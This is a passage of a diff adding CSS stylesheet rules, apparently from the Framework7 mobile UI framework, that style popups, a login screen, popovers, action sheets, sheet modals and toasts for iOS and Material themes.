html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup-tablet-fullscreen { + height: calc(100% - 20px); + top: 20px; + } + html.with-statusbar.device-iphone-x .popup-tablet-fullscreen { + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); + } + html.with-statusbar.device-android .popup-tablet-fullscreen, + html.with-statusbar.md:not(.device-ios):not(.device-android) .popup-tablet-fullscreen { + height: calc(100% - 24px); + top: 24px; + } +} +html.with-modal-popup .framework7-root > .views .page-content, +html.with-modal-popup .framework7-root > .view .page-content, +html.with-modal-popup .framework7-root > .panel .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +@media (min-width: 630px) and (min-height: 630px) { + .md .popup:not(.popup-tablet-fullscreen) { + -webkit-box-shadow: 0px 20px 44px rgba(0, 0, 0, 0.5); + box-shadow: 0px 20px 44px rgba(0, 0, 0, 0.5); + } +} +/* === Login Screen === */ +.login-screen { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + background: #fff; + z-index: 11000; +} +.login-screen.modal-in, +.login-screen.modal-out { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.login-screen.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.login-screen.modal-in { + display: block; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.login-screen.modal-out { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +html.with-statusbar.device-ios .login-screen, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .login-screen { + height: calc(100% - 20px); + top: 20px; +} +html.with-statusbar.device-iphone-x .login-screen { + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); +} +html.with-statusbar.device-android .login-screen, +html.with-statusbar.md:not(.device-ios):not(.device-android) .login-screen { + height: calc(100% - 24px); + top: 24px; +} +.login-screen-content { + background: #fff; +} +.login-screen-content .login-screen-title, +.login-screen-content .list, +.login-screen-content .block, +.login-screen-content .block-footer, +.login-screen-content .block-header { + max-width: 480px; +} +.login-screen-content .list ul { + background: none; +} +.login-screen-content .list ul:before { + display: none !important; +} +.login-screen-content .list ul:after { + display: none !important; +} +.login-screen-content .block-footer, +.login-screen-content .block-header { + text-align: center; + margin-left: auto; + margin-right: auto; +} +.login-screen-title { + text-align: center; +} +.ios .login-screen-content .login-screen-title, +.ios .login-screen-content .list, +.ios .login-screen-content .block { + margin: 25px auto; +} +.ios .login-screen-title { + font-size: 30px; +} +.ios .theme-dark .login-screen-content, +.ios .theme-dark .login-screen-content .list ul { + background-color: transparent; +} +.md .login-screen-content .login-screen-title, +.md .login-screen-content .list, +.md .login-screen-content .block { + margin: 24px auto; +} +.md .login-screen-content .list-button { + text-align: center; + color: #2196f3; +} +.md .login-screen-title { + font-size: 34px; +} +.md .theme-dark .login-screen-content, +.login-screen-content.md .theme-dark { + background: none; +} +.md .color-theme-red .login-screen-content .list-button { + color: #f44336; +} +.md .color-theme-green .login-screen-content .list-button { + color: #4caf50; +} +.md .color-theme-blue .login-screen-content .list-button { + color: #2196f3; +} +.md .color-theme-pink .login-screen-content .list-button { + color: #e91e63; +} +.md .color-theme-yellow .login-screen-content .list-button { + color: #ffeb3b; +} +.md .color-theme-orange .login-screen-content .list-button { + color: #ff9800; +} +.md .color-theme-gray .login-screen-content .list-button { + color: #9e9e9e; +} +.md .color-theme-white .login-screen-content .list-button { + color: #ffffff; +} +.md .color-theme-black .login-screen-content .list-button { + color: #000000; +} +.md .login-screen-content .list-button.color-red { + color: #f44336; +} +.md .login-screen-content .list-button.color-green { + color: #4caf50; +} +.md .login-screen-content .list-button.color-blue { + color: #2196f3; +} +.md .login-screen-content .list-button.color-pink { + color: #e91e63; +} +.md .login-screen-content .list-button.color-yellow { + color: #ffeb3b; +} +.md .login-screen-content .list-button.color-orange { + color: #ff9800; +} +.md .login-screen-content .list-button.color-gray { + color: #9e9e9e; +} +.md .login-screen-content .list-button.color-white { + color: #ffffff; +} +.md .login-screen-content .list-button.color-black { + color: #000000; +} +/* === Popover === */ +.popover-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.popover-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popover-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.popover { + width: 260px; + z-index: 13500; + margin: 0; + top: 0; + opacity: 0; + left: 0; + position: absolute; + display: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.popover .list { + margin: 0; +} +.popover .list ul { + background: none; +} +.popover .list:first-child ul:before { + display: none !important; +} +.popover .list:last-child ul:after { + display: none !important; +} +.popover.modal-in { + opacity: 1; +} +.popover.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popover-inner { + overflow: auto; + -webkit-overflow-scrolling: touch; +} +.popover-from-actions-bold { + font-weight: 600; +} +.popover-from-actions-label { + line-height: 1.3; + position: relative; +} +.popover-from-actions-label:last-child:after { + display: none !important; +} +.ios .popover { + background: rgba(255, 255, 255, 0.95); + border-radius: 13px; + -webkit-transform: none; + transform: none; + -webkit-transition-property: opacity; + transition-property: opacity; +} +.ios .popover .list:first-child ul { + border-radius: 13px 13px 0 0; +} +.ios .popover .list:first-child li:first-child, +.ios .popover .list:first-child li:first-child a, +.ios .popover .list:first-child li:first-child > label { + border-radius: 13px 13px 0 0; +} +.ios .popover .list:last-child ul { + border-radius: 0 0 13px 13px; +} +.ios .popover .list:last-child li:last-child, +.ios .popover .list:last-child li:last-child a, +.ios .popover .list:last-child li:last-child > label { + border-radius: 0 0 13px 13px; +} +.ios .popover .list:first-child:last-child li:first-child:last-child, +.ios .popover .list:first-child:last-child li:first-child:last-child a, +.ios .popover .list:first-child:last-child li:first-child:last-child > label, +.ios .popover .list:first-child:last-child ul { + border-radius: 13px; +} +.ios .popover .list + .list { + margin-top: 35px; +} +.ios .popover-angle { + width: 26px; + height: 26px; + position: absolute; + left: -26px; + top: 0; + z-index: 100; + overflow: hidden; +} +.ios .popover-angle:after { + content: ''; + background: rgba(255, 255, 255, 0.95); + width: 26px; + height: 26px; + position: absolute; + left: 0; + top: 0; + border-radius: 3px; + -webkit-transform: rotate(45deg); + transform: rotate(45deg); +} +.ios .popover-angle.on-left { + left: -26px; +} +.ios .popover-angle.on-left:after { + left: 19px; + top: 0; +} +.ios .popover-angle.on-right { + left: 100%; +} +.ios .popover-angle.on-right:after { + left: -19px; + top: 0; +} +.ios .popover-angle.on-top { + left: 0; + top: -26px; +} +.ios .popover-angle.on-top:after { + left: 0; + top: 19px; +} +.ios .popover-angle.on-bottom { + left: 0; + top: 100%; +} +.ios .popover-angle.on-bottom:after { + left: 0; + top: -19px; +} +.ios .popover-from-actions .list + .list { + margin-top: 20px; +} +.ios .popover-from-actions .list ul { + background: #fff; +} +.ios .popover-from-actions .item-link i.icon { + width: 29px; + height: 29px; + font-size: 29px; +} +.ios .popover-from-actions-label { + padding: 8px 10px; + color: #8a8a8a; + font-size: 13px; + text-align: center; +} +.ios .popover-from-actions-label:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .popover-from-actions-label:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .popover-from-actions-label:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .theme-dark .popover, +.popover.ios .theme-dark { + background: rgba(30, 30, 30, 0.95); +} +.ios .theme-dark .popover .popover-angle:after, +.popover.ios .theme-dark .popover-angle:after { + background: rgba(30, 30, 30, 0.95); +} +.ios .theme-dark .popover .list ul, +.popover.ios .theme-dark .list ul { + background-color: transparent; +} +.md .popover { + background: #fff; + border-radius: 4px; + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12); + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12); + -webkit-transform: scale(0.85, 0.6); + transform: scale(0.85, 0.6); + -webkit-transition-property: opacity, border-radius, -webkit-transform; + transition-property: opacity, border-radius, -webkit-transform; + transition-property: opacity, transform, border-radius; + transition-property: opacity, transform, border-radius, -webkit-transform; +} +.md .popover.modal-in { + opacity: 1; + -webkit-transform: scale(1); + transform: scale(1); +} +.md .popover.modal-out { + opacity: 0; + -webkit-transform: scale(1); + transform: scale(1); +} +.md .popover .list:first-child ul { + border-radius: 3px 3px 0 0; +} +.md .popover .list:first-child li:first-child, +.md .popover .list:first-child li:first-child a, +.md .popover .list:first-child li:first-child > label { + border-radius: 3px 3px 0 0; +} +.md .popover .list:last-child ul { + border-radius: 0 0 3px 3px; +} +.md .popover .list:last-child li:last-child, +.md .popover .list:last-child li:last-child a, +.md .popover .list:last-child li:last-child > label { + border-radius: 0 0 3px 3px; +} +.md .popover .list:first-child:last-child li:first-child:last-child, +.md .popover .list:first-child:last-child li:first-child:last-child a, +.md .popover .list:first-child:last-child li:first-child:last-child > label, +.md .popover .list:first-child:last-child ul { + border-radius: 13px; +} +.md .popover .list + .list { + margin-top: 35px; +} +.md .popover-on-top { + -webkit-transform-origin: center bottom; + transform-origin: center bottom; +} +.md .popover-on-bottom { + -webkit-transform-origin: center top; + transform-origin: center top; +} +.md .popover-from-actions .list { + margin: 0; +} +.md .popover-from-actions .item-link i.icon { + width: 24px; + height: 24px; + font-size: 24px; +} +.md .popover-from-actions-label { + padding: 8px 16px; + color: rgba(0, 0, 0, 0.54); + padding-top: 12px; + padding-bottom: 12px; +} +.md .popover-from-actions-label:after { + content: ''; + position: absolute; + background-color: #d2d2d6; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .popover-from-actions-label:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .popover-from-actions-label:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .theme-dark .popover { + background-color: #202020; +} +.md .theme-dark .popover-from-actions-label { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .popover-from-actions-label:after { + background-color: rgba(255, 255, 255, 0.08); +} +/* === Actions === */ +.actions-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.actions-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.actions-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.actions-modal { + position: absolute; + left: 0; + bottom: 0; + z-index: 13500; + width: 100%; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + display: none; + max-height: 100%; + overflow: auto; + -webkit-overflow-scrolling: touch; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.actions-modal.modal-in, +.actions-modal.modal-out { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.actions-modal.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.actions-modal.modal-in { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.actions-modal.modal-out { + z-index: 13499; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +@media (min-width: 496px) { + .actions-modal { + width: 480px; + left: 50%; + margin-left: -240px; + } +} +.actions-group { + position: relative; +} +.actions-button, +.actions-label { + width: 100%; + font-weight: normal; + margin: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: block; + position: relative; +} +.actions-button a, +.actions-label a { + text-decoration: none; + color: inherit; + display: block; +} +.actions-button b, +.actions-label b, +.actions-button.actions-button-bold, +.actions-label.actions-button-bold { + font-weight: 500; +} +.actions-button { + cursor: pointer; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.actions-button-media { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.actions-button-text { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; +} +.actions-label { + line-height: 1.3; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.actions-grid .actions-group { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.actions-grid .actions-button { + width: 33.33333333%; + display: block; +} +.actions-grid .actions-button-media { + margin-left: auto; + margin-right: auto; +} +.actions-grid .actions-button-text { + margin-left: 0 !important; + text-align: center; +} +.ios .actions-group { + margin: 8px; + border-radius: 13px; + overflow: hidden; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.ios .actions-button, +.ios .actions-label { + text-align: center; + overflow: hidden; + background: rgba(255, 255, 255, 0.95); +} +.ios .actions-button b, +.ios .actions-label b, +.ios .actions-button.actions-button-bold, +.ios .actions-label.actions-button-bold { + font-weight: 600; +} +.ios .actions-button:first-child, +.ios .actions-label:first-child { + border-radius: 13px 13px 0 0; +} +.ios .actions-button:last-child, +.ios .actions-label:last-child { + border-radius: 0 0 13px 13px; +} +.ios .actions-button:last-child:after, +.ios .actions-label:last-child:after { + display: none !important; +} +.ios .actions-button:first-child:last-child, +.ios .actions-label:first-child:last-child { + border-radius: 13px; +} +.ios .actions-button { + height: 57px; + line-height: 57px; + font-size: 20px; + color: #007aff; + white-space: normal; + text-overflow: ellipsis; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.ios .actions-button.active-state { + background: rgba(230, 230, 230, 0.9); +} +.ios .actions-button-media { + margin-left: 15px; +} +.ios .actions-button-media i.icon { + width: 29px; + height: 29px; + font-size: 29px; +} +.ios .actions-button-media + .actions-button-text { + text-align: left; + margin-left: 15px; +} +.ios .actions-label { + font-size: 13px; + min-height: 57px; + padding: 8px 10px; + color: #8a8a8a; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +@media (orientation: lanscape) { + .ios .actions-label { + min-height: 44px; + } + .ios .actions-button { + height: 44px; + line-height: 44px; + } +} +.ios .actions-grid .actions-group { + margin-top: 0; + border-radius: 0; + background: rgba(255, 255, 255, 0.95); +} +.ios .actions-grid .actions-group:first-child { + border-radius: 13px 13px 0 0; +} +.ios .actions-grid .actions-group:last-child { + border-radius: 0 0 13px 13px; +} +.ios .actions-grid .actions-group:first-child:last-child { + border-radius: 13px; +} +.ios .actions-grid .actions-group:not(:last-child) { + margin-bottom: 0; +} +.ios .actions-grid .actions-button, +.ios .actions-grid .actions-label { + border-radius: 0 !important; + background: none; +} +.ios .actions-grid .actions-button-media { + width: 48px; + height: 48px; + margin-left: auto; + margin-right: auto; +} +.ios .actions-grid .actions-button-media i.icon { + width: 48px; + height: 48px; + font-size: 48px; +} +.ios .actions-grid .actions-button-media + .actions-button-text { + text-align: center; +} +.ios .actions-grid .actions-button { + padding: 16px; + line-height: 1; + height: auto; +} +.ios .actions-grid .actions-button:after { + display: none !important; +} +.ios .actions-grid .actions-button.active-state { + background: rgba(230, 230, 230, 0.9); +} +.ios .actions-grid .actions-button-text { + margin-top: 8px; + line-height: 16px; + height: 16px; + font-size: 12px; + color: #757575; +} +.ios .actions-button:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .actions-button:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .actions-button:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .actions-label:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .actions-label:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .actions-label:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .actions-button.color-red, +.ios .actions-label.color-red { + color: #ff3b30; +} +.ios .actions-button.color-green, +.ios .actions-label.color-green { + color: #4cd964; +} +.ios .actions-button.color-blue, +.ios .actions-label.color-blue { + color: #007aff; +} +.ios .actions-button.color-pink, +.ios .actions-label.color-pink { + color: #ff2d55; +} +.ios .actions-button.color-yellow, +.ios .actions-label.color-yellow { + color: #ffcc00; +} +.ios .actions-button.color-orange, +.ios .actions-label.color-orange { + color: #ff9500; +} +.ios .actions-button.color-gray, +.ios .actions-label.color-gray { + color: #8e8e93; +} +.ios .actions-button.color-white, +.ios .actions-label.color-white { + color: #ffffff; +} +.ios .actions-button.color-black, +.ios .actions-label.color-black { + color: #000000; +} +.ios.device-iphone-x .actions-modal.modal-in { + -webkit-transform: translate3d(0, calc(0px - constant(safe-area-inset-bottom)), 0); + transform: translate3d(0, calc(0px - constant(safe-area-inset-bottom)), 0); + -webkit-transform: translate3d(0, calc(0px - env(safe-area-inset-bottom)), 0); + transform: translate3d(0, calc(0px - env(safe-area-inset-bottom)), 0); +} +.md .actions-modal { + background: #fff; +} +.md .actions-group:last-child:after { + display: none !important; +} +.md .actions-group:after { + content: ''; + position: absolute; + background-color: #d2d2d6; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .actions-group:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .actions-group:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .actions-button, +.md .actions-label { + padding: 0 16px; +} +.md .actions-button { + line-height: 48px; + font-size: 16px; + color: rgba(0, 0, 0, 0.87); + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; +} +.md .actions-button a, +.md .actions-button { + position: relative; + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; +} +.md .actions-button a.active-state, +.md .actions-button.active-state { + background: rgba(0, 0, 0, 0.1); +} +.md .actions-button-media { + min-width: 40px; +} +.md .actions-button-media i.icon { + width: 24px; + height: 24px; + font-size: 24px; +} +.md .actions-button-media + .actions-button-text { + margin-left: 16px; +} +.md .actions-label { + font-size: 16px; + color: rgba(0, 0, 0, 0.54); + padding-top: 12px; + padding-bottom: 12px; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.md .actions-grid { + padding: 0; +} +.md .actions-grid .actions-button-media { + width: 48px; + height: 48px; +} +.md .actions-grid .actions-button-media i.icon { + width: 48px; + height: 48px; + font-size: 48px; +} +.md .actions-grid .actions-button { + padding: 16px; + line-height: 1; +} +.md .actions-grid .actions-button-text { + margin-top: 8px; + line-height: 16px; + height: 16px; + font-size: 12px; + color: #757575; +} +.md .actions-button.color-red, +.md .actions-label.color-red, +.md .actions-button.color-red .actions-button-text { + color: #f44336; +} +.md .actions-button.color-green, +.md .actions-label.color-green, +.md .actions-button.color-green .actions-button-text { + color: #4caf50; +} +.md .actions-button.color-blue, +.md .actions-label.color-blue, +.md .actions-button.color-blue .actions-button-text { + color: #2196f3; +} +.md .actions-button.color-pink, +.md .actions-label.color-pink, +.md .actions-button.color-pink .actions-button-text { + color: #e91e63; +} +.md .actions-button.color-yellow, +.md .actions-label.color-yellow, +.md .actions-button.color-yellow .actions-button-text { + color: #ffeb3b; +} +.md .actions-button.color-orange, +.md .actions-label.color-orange, +.md .actions-button.color-orange .actions-button-text { + color: #ff9800; +} +.md .actions-button.color-gray, +.md .actions-label.color-gray, +.md .actions-button.color-gray .actions-button-text { + color: #9e9e9e; +} +.md .actions-button.color-white, +.md .actions-label.color-white, +.md .actions-button.color-white .actions-button-text { + color: #ffffff; +} +.md .actions-button.color-black, +.md .actions-label.color-black, +.md .actions-button.color-black .actions-button-text { + color: #000000; +} +.md.device-iphone-x .actions-modal.modal-in { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +/* === Sheet Modal === */ +.sheet-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + z-index: 10500; +} +.sheet-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.sheet-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.sheet-modal { + position: absolute; + left: 0; + bottom: 0; + width: 100%; + height: 260px; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + background: #fff; + z-index: 12500; +} +.sheet-modal.modal-in, +.sheet-modal.modal-out { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.sheet-modal.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.sheet-modal.modal-in { + display: block; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.sheet-modal.modal-out { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.sheet-modal .sheet-modal-inner { + height: 100%; + position: relative; + overflow: hidden; +} +.sheet-modal .toolbar { + position: relative; + width: 100%; +} +.ios .sheet-modal { + background: #cfd5da; +} +.ios .sheet-modal .toolbar { + background: #f7f7f8; +} +.ios .sheet-modal .toolbar + .sheet-modal-inner { + height: calc(100% - 44px); +} +.ios .sheet-modal .toolbar ~ .sheet-modal-inner .page-content { + padding-bottom: 0; +} +.ios .sheet-modal .toolbar:before { + content: ''; + position: absolute; + background-color: #929499; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .sheet-modal .toolbar:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .sheet-modal .toolbar:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios.device-iphone-x .sheet-modal .toolbar ~ .sheet-modal-inner .page-content, +.ios.device-iphone-x .sheet-modal .sheet-modal-inner > .page-content { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.ios .theme-dark .sheet-modal, +.sheet-modal.ios .theme-dark { + background-color: #171717; +} +.ios .theme-dark .sheet-modal .toolbar, +.sheet-modal.ios .theme-dark .toolbar { + background-color: #1b1b1b; +} +.ios .theme-dark .sheet-modal .toolbar:before, +.sheet-modal.ios .theme-dark .toolbar:before { + background-color: #282829; +} +.md .sheet-modal { + background: #fff; +} +.md .sheet-modal .toolbar { + top: 0; +} +.md .sheet-modal .toolbar:after { + display: none; +} +.md .sheet-modal .toolbar + .sheet-modal-inner { + height: calc(100% - 48px); +} +.md .sheet-modal .toolbar a.link:not(.tab-link) { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.md .sheet-modal .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .sheet-modal-inner .page-content { + padding-top: 0; +} +.md.device-iphone-x .sheet-modal .toolbar ~ .sheet-modal-inner .page-content, +.md.device-iphone-x .sheet-modal .sheet-modal-inner > .page-content { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.md .theme-dark .sheet-modal { + background-color: #202020; +} +/* === Toast === */ +.toast { + -webkit-transition-property: opacity, -webkit-transform; + transition-property: opacity, -webkit-transform; + transition-property: transform, opacity; + transition-property: transform, opacity, -webkit-transform; + position: absolute; + max-width: 568px; + z-index: 20000; + color: #fff; + font-size: 14px; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.toast.modal-in { + opacity: 1; +} +.toast .toast-content { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.toast .toast-text { + line-height: 20px; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + min-width: 0; +} +.toast .toast-button { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.toast.toast-with-icon .toast-content { + display: block; + text-align: center; +} +.toast.toast-with-icon .toast-text { + text-align: center; +} +.toast.toast-with-icon .toast-icon .f7-icons { + font-size: 50px; + width: 50px; + height: 50px; +} +.toast.toast-with-icon .toast-icon .material-icons { + font-size: 48px; + width: 48px; + height: 48px; +} +.toast.toast-center { + top: 50%; + opacity: 0; +} +@media (min-width: 1024px) { + .toast { + opacity: 0; + } +} +html.with-statusbar.device-ios .toast-top, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .toast-top { + margin-top: 20px; +} +html.with-statusbar.device-iphone-x .toast-top { + margin-top: constant(safe-area-inset-top); + margin-top: env(safe-area-inset-top); +} +html.with-statusbar.device-android .toast-top, +html.with-statusbar.md:not(.device-ios):not(.device-android) .toast-top { + margin-top: 24px; +} +.ios .toast { + -webkit-transition-duration: 450ms; + transition-duration: 450ms; + background: rgba(0, 0, 0, 0.75); + opacity: 0; + width: 100%; + left: 0; +} +@supports ((-webkit-backdrop-filter: blur(10px)) or (backdrop-filter: blur(10px))) { + .ios .toast { + background: rgba(0, 0, 0, 0.65); + -webkit-backdrop-filter: blur(10px); + backdrop-filter: blur(10px); + } +} +.ios .toast.toast-center { + width: auto; + left: 50%; + border-radius: 8px; + -webkit-transform: translate3d(-50%, -50%, 0); + transform: translate3d(-50%, -50%, 0); +} +.ios .toast.toast-center.modal-in { + -webkit-transform: translate3d(-50%, -50%, 0); + transform: translate3d(-50%, -50%, 0); + opacity: 1; +} +.ios .toast.toast-top { + top: 0; + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); +} +.ios .toast.toast-top.modal-in { + -webkit-transform: translate3d(0, 0%, 0); + transform: translate3d(0, 0%, 0); + opacity: 1; +} +.ios .toast.toast-bottom { + bottom: 0; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.ios .toast.toast-bottom.modal-in { + -webkit-transform: translate3d(0, 0%, 0); + transform: translate3d(0, 0%, 0); + opacity: 1; +} +@media (min-width: 569px) { + .ios .toast { + left: 50%; + margin-left: -284px; + } + .ios .toast.toast-center { + margin-left: 0; + } +} +@media (min-width: 569px) { + .ios .toast { + border-radius: 8px; + } + .ios .toast.toast-bottom { + bottom: 15px; + } + .ios .toast.toast-top { + top: 15px; + } +} +@media (min-width: 1024px) { + .ios .toast { + margin-left: 0; + width: auto; + } + .ios .toast.toast-bottom, + .ios .toast.toast-top { + left: 15px; + } +} +.ios .toast-content { + padding: 12px 15px; +} +.ios .toast-button { + color: #fff; + margin-right: 15px; +} +@media (max-width: 568px) { + .ios.device-iphone-x .toast-bottom .toast-content { + padding-bottom: calc(12px + constant(safe-area-inset-bottom)); + padding-bottom: calc(12px + env(safe-area-inset-bottom)); + } +} +@media (min-width: 569px) { + .ios.device-iphone-x .toast-bottom { + bottom: calc(15px + constant(safe-area-inset-bottom)); + bottom: calc(15px + env(safe-area-inset-bottom)); + } +} +.md .toast { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + border-radius: 4px; + background: #323232; + opacity: 0; + left: 8px; + width: calc(100% - 16px); + -webkit-transform: scale(0.9); + transform: scale(0.9); +} +.md .toast.modal-in { + -webkit-transform: scale(1); + transform: scale(1); + 